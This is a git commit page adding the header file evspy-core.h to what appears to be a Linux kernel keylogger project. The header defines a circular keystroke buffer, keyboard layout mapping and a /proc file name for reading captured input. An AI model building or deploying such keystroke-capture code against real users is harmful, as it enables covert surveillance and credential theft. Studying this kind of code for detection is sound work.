aboutsummaryrefslogtreecommitdiff
path: root/evspy-core.h
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-16 17:25:25 +0200
committerGuillermo Ramos2011-09-16 17:25:25 +0200
commit5f78bdac09842192ad1cae0f0e516e9020619ac7 (patch)
treecafa120ed1090f9794e37dfe93e7df36c57216ba /evspy-core.h
parent0daea8c7cce5108d36313e608d63e30eb6c34c9b (diff)
downloadevspy-5f78bdac09842192ad1cae0f0e516e9020619ac7.tar.gz
First functional version of khaskmap
Diffstat (limited to 'evspy-core.h')
-rw-r--r--evspy-core.h77
1 files changed, 77 insertions, 0 deletions
diff --git a/evspy-core.h b/evspy-core.h
new file mode 100644
index 0000000..2af9dfe
--- /dev/null
+++ b/evspy-core.h
@@ -0,0 +1,77 @@
+#include <asm/page.h>
+#include <linux/input.h>
+#include "maps.h"
+
+#define EVS_NAME "evspy" // driver name
+#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_KLAY EVS_KLAY_ES // change default layout to spanish
+#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
+#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
+
+#define MIN(x, y) (x) < (y) ? (x) : (y)
+
+/*
+ * If pointer is at the end of buffer, put it at the beginning.
+ * If not, simply add 1 to it.
+ */
+#define evs_incp(p) \
+({ \
+ if ((p) == &buffer[EVS_BUFSIZE-1]) \
+ (p) = buffer; \
+ else \
+ (p)++; \
+ (p); \
+})
+
+/*
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p) \
+({ \
+ if ((p) == buffer) \
+ (p) = &buffer[EVS_BUFSIZE-1]; \
+ else \
+ (p)--; \
+ (p); \
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
+ * If rdp == wrp, increase rdp too.
+ */
+#define evs_insert(c) \
+({ \
+ *wrp = (c); \
+ if (evs_incp(wrp) == rdp) \
+ evs_incp(rdp); \
+})
+
+/*
+ * Remove a character from the buffer
+ */
+#define evs_delete() \
+({ \
+ if (wrp != rdp && evs_decp(wrp) == rdp) \
+ evs_decp(rdp); \
+})
+
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c) \
+({ \
+ ((c) >= KEY_F1 && (c) <= KEY_F10) || \
+ ((c) == KEY_F11 || (c) == KEY_F12) || \
+ ((c) >= KEY_F13 && (c) <= KEY_F24); \
+})
+
+#define evs_shift(c) \
+({ \
+ ((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c); \
+})
+
+// Event values
+#define EVS_VAL_FREE 0
+#define EVS_VAL_PRESS 1
+#define EVS_VAL_HOLD 2